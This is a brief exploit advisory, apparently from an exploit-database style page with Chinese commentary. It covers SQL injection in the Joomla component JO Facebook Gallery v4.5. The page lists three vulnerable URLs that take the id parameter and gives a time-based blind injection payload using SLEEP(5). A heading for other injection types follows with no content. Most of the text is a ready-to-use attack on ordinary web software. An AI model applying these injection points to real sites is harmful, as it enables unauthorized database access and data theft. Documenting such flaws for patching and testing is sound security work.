Joomla! Component JO Facebook Gallery v4.5 - SQL Injection
index.php中的id参数带入SQL语句存在GET类型注入
注入点:
http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=category&id=[SQL]
http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=albums&id=[SQL]
http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=photo&id=[SQL]
时间盲注 payload:
option=com_jofacebookgallery&view=category&id=1 AND SLEEP(5)
其他类型的注入:

暂无评论